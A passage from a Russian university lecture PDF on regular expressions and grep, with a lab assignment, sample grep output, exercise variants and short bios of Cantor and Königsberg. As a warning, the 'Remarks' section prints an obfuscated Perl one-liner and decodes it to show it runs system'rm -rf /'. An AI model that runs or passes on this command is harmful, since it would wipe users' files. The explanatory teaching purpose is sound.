Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

lekcii_dm

.pdf
Скачиваний:
44
Добавлен:
09.04.2015
Размер:
2.19 Mб
Скачать

¦$& — все совпадение

¦$` — все до совпадения

¦$' — все после совпадения Например:

$s = "Один 1 два 2 и три 3"; if ($s =~ /(\ d+)\ D+(\ d+)/)

{

print "$1\ n";# Результат '1' print "$2\ n";# '2'

print "$+\ n";# '2' print "$&\ n";# '1 два 2' print "$`\ n";# 'Один ' print "$'\ n";# ' и три 3'

}

8.03.2. Правила регулярного выражения.

1.Любой символ обозначает себя самого, если это не метасимвол. Если вам нужно отменить действие метасимвола, то поставьте перед ним “\”.

2.Строка символов обозначает строку этих символов.

3.Множество возможных символов (класс) заключается в квадратные скобки [], это значит, что в данном месте может стоять один из указанных

вскобках символов. Если первый символ в скобках это “^” — значит ни один из указанных символов не может стоять в данном месте выражения. Внутри класса можно употреблять символ “-”, обозначающий диапазон символов. Например, a-z — один из малых букв латинского алфавита, 0-9

— цифра.

4.Все символы, включая специальные, можно обозначать с помощью “\” как в языке С.

281

5.Альтернативные последовательности разделяются символом “|” Заметьте что внутри квадратных скобок это обычный символ.

6.Внутри регулярного выражения можно указывать “подшаблоны”, заключая их в круглые скобки и ссылаться на них как “\ номер”. Первая скобка обозначается как “\ 1”.

9.04.Установка необходимого программного обеспечения.

Для выполнения практического задания достаточно использовать фильтр grep с синтаксисом PERL рекурсивно (параметр –Pr).

grep — утилита командной строки, которая находит на вводе строки, отвечающие заданному регулярному выражению, и выводит их, если вывод не отменён специальным ключом. Название представляет собой акроним английской фразы «search globally for lines matching the regular expression, and print them» — «искать везде строки, соответствующие регулярному выражению, и выводить их».

Изначально была создана для операционной системы UNIX, и поэтому для Linux подобных операционных систем команда grep присутствует по умолчанию.

Пользователям Windows можно загрузить интерпретатор PERL (http://www.perl.org/get.html), также существует portable версия, которая не требует установки.

Наиболее простым и безопасным вариантом является использование портированной под windows утилиты grep из UnixUtils (http://rusakovam.narod.ru/lec/dm/lit/grep.exe). Далее, можно скопировать

282

grep.exe в каталог Windows, тогда эта утилита будет запускаться также как и под LINUX, то есть в обычном для неё синтаксисе.

Команда поиска регулярного выражения в файле имеет синтаксис: grep -Pr "RegExp" File,

где –Pr означает использовать синтаксис PERL рекурсивно; RegExp – это регулярное выражение;

File – полный путь к файлу;

9.05. Замечания.

Будьте осторожны, необдуманные эксперименты с регулярными выражениями могут привести к печальным последствиям.

Одним из таких примеров является вызвавшая большой резонанс программа, так как на самом деле она является замаскированной командой рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя:

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:- @[-`{-};`-{/" -;;s;;$_;see'

echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности.

То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:

283

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ; y; -/:-@[-`{-};`-{/" -; ;

s;;$_;see

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

!"#$%&'()*+,-./:;<=>?@[\]^_`{|} `abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид

system"rm -rf /"

Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.

284

9.06.Методический пример.

1.Найти все строки в файле grep.txt, начинающихся с символа «+». grep -Pr "^[+]" r:\grep.txt

2.Найти все строки в файле grep.txt, в формате одна цифра символ “+” одна цифра.

grep -Pr "[0-9]\+[0-9]" r:\grep.txt grep -Pr "\d\+\d" r:\grep.txt

3.Найти все строки в файле grep.txt, в формате +x-xxx-xxxxxxx, где x – это цифра.

grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt

4.Найти все строки в файле grep.txt, в содержащие цифру с точкой. grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt

9.07. Контрольная распечатка.

grep -Pr "^[+]" r:\grep.txt +7-123-7654321 +7-123-7654321 +7-123-7654521 +7-123-1234567 +7-123-765432111 +7-926-5550001 +MGUPI

+6777

grep -Pr "[0-9]\+[0-9]" r:\grep.txt 11+1 5+2 33+8

grep -Pr "\d\+\d" r:\grep.txt 11+1

285

5+2

33+8

grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt +7-123-7654321 +7-123-7654321 +7-123-7654521 +7-123-1234567 +7-926-5550001

grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt -17.98 +6777 22.08

9.08. Отчет по практической работе.

Отчет оформляется в соответствии с требованиями, предъявляемыми к оформлению лабораторных работ в вузе, и должен содержать:

1.Титульный лист.

2.Наименование и цель работы.

3.Исходные данные варианта задания.

4.Полученное регулярное выражение.

5.Контрольная распечатка.

Замечание: листы отчета должны быть скреплены.

9.09.Контрольные вопросы.

Что такое регулярное выражение? Какие действия выполняет команда grep? Что такое мета символы?

Что такое модификаторы?

286

Правила регулярного выражения?

9.10. Варианты заданий.

Вариант задания определяется по последней цифре в зачётной книжке.

1. Регулярное выражение для поиска всех URL

адресов

содержащих

в названии первой

директории слова it-6 или it6 или

it-5 или it5,

в следующем виде:

“http://www.mgupi.ru/xxx(it-6

или it6

или it-5 или

it5)xxx/index.php”, причём символы x означают любые буквы, которых может и не быть.

2. Регулярное выражение для поиска всех URL адресов содержащих в названии 3-го поддомена слова it-6 или it6 или it-5 или it5, в следующем виде: “http:// xxx(it-6 или it6 или it-5 или it5)xxx.mgupi.ru/main/index.php”,

причём символы x означают любые буквы, которых может и не быть.

3.Регулярное выражение для поиска всех URL адресов в следующем виде: “http:// xxx.mgupi.ru/xxx”, причём символы x означают любые буквы, которых может и не быть.

4.Регулярное выражение для поиска всех ip-адресов в диапазоне от

172.22.50.0 до 172.22.116.255.

5.Регулярное выражение для поиска всех ip-адресов в диапазоне от

192.168.10.0 до 192.168.112.255.

6.Регулярное выражение для поиска всех e-mail адресов содержащих

в качестве домена 3-го уровня слово “it” и две или одну цифру,

вследующем виде: “xxx@xx{слово it две или одна цифра}xxx.mgupi.ru”, причём символы x означают любые буквы, которых может и не быть.

7.Регулярное выражение для поиска всех e-mail адресов содержащих

вкачестве имени пользователя слова it6 или it5 и две или одну цифру в имени 2-го домена, по следующему формату: “xxx(it6 или it5)xxx@xxx{две

287

или одна цифра}xxx.ru”, причём символы x означают любые буквы, которых может и не быть.

8.Регулярное выражение для поиска всех телефонных номеров c кодом

916 или 903 или 926 в формате +x-(916 или 903 или 926)-xxxxxxx, где x –

это одна цифра.

9.Регулярное выражение для поиска всех e-mail адресов содержащих

вкачестве имени пользователя семь цифр, а в домене 2-го уровня слова it6

или it5, в следующем виде: “ddddddd@xxx(it6 или it5)xxx.xxx.ru”, причём символы x означают любые буквы, которых может и не быть, а d – это одна цифра.

10.Регулярное выражение для поиска всех ip-адресов в диапазоне от

10.131.37.0 до 10.131.158.255.

Глава 10. Дополнительные материалы.

10.01. Биография Георга Кантора (основатель теории множеств).

Гео́рг Ка́нтор (нем. Georg Ferdinand Ludwig Philipp Cantor, 3 марта

1845) — немецкий математик. Он наиболее известен как создатель теории множеств, ставшей краеугольным камнем в математике. Кантор ввёл понятие взаимно-однозначного соответствия между элементами множеств, дал определения бесконечного и вполне-упорядоченного множеств и доказал, что действительных чисел «больше», чем натуральных. Теорема Кантора, фактически, утверждает существование «бесконечности бесконечностей». Он определил понятия кардинальных и порядковых чисел и их арифметику. Его работа представляет большой философский интерес, о чём и сам Кантор прекрасно знал.

288

Теория Кантора о трансфинитных числах первоначально была воспринята настолько нелогичной, парадоксальной и даже шокирующей, что натолкнулась на резкую критику со стороны математиков-современников, в частности, Леопольда Кронекера и Анри Пуанкаре; позднее — Германа Вейля и Лёйтзена Брауэра, а Людвиг Витгенштейн высказал возражения философского плана (см. Споры о теории Кантора). Некоторые христианские богословы (особенно представители неотомизма) увидели в работе Кантора вызов уникальности абсолютной бесконечности природы Бога, приравняв однажды теорию трансфинитных чисел и пантеизм. Критика его трудов была порой очень агрессивна: так, Пуанкаре называл его идеи «тяжёлой болезнью», поражающей математическую науку; а в публичных заявлениях и личных выпадах Кронекера в адрес Кантора мелькали иногда такие эпитеты, как «научный шарлатан», «отступник» и «развратитель молодёжи». Десятилетия спустя после смерти Кантора, Витгенштейн с горечью отмечал, что математика «истоптана вдоль и поперёк разрушительными идиомами теории множеств», которое он отклоняет как «шутовство», «смехотворное» и «ошибочное». Периодически повторяющиеся с 1884 года и до конца дней Кантора приступы депрессии некоторое время ставили в вину его современникам, занявшим чересчур агрессивную позицию, но сейчас считается, что эти приступы, возможно, были проявлением биполярного расстройства.

Резкой критике противостояли всемирная известность и одобрение. В 1904 году Лондонское королевское общество наградило Кантора Медалью Сильвестра, высшей наградой, которую оно могло пожаловать. Сам Кантор верил в то, что теория трансфинитных чисел была сообщена ему свыше. В своё время, защищая её от критики, Давид Гильберт смело заявил: «Никто не изгонит нас из рая, который основал Кантор» [6].

289

10.02. Город Калининград (Кёнигсберг).

Кёнигсберг (нем. Königsberg, полностью Кёнигсберг-ин-Про́йсен, нем. Königsberg in Preußen — Кёнигсберг в Пруссии; до 1255 года Тувангсте, прус. Twangste; с 1946 — Калининград) — центр прусской провинции Восточная Пруссия, ныне центр Калининградской области Российской Федерации. Расположен при впадении реки Преголи в Вислинский залив Балтийского моря, акватория залива, находящаяся в пределах российских границ, часто называется Калининградским заливом.

Рис. Кёнигсберг 1652г.

290

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]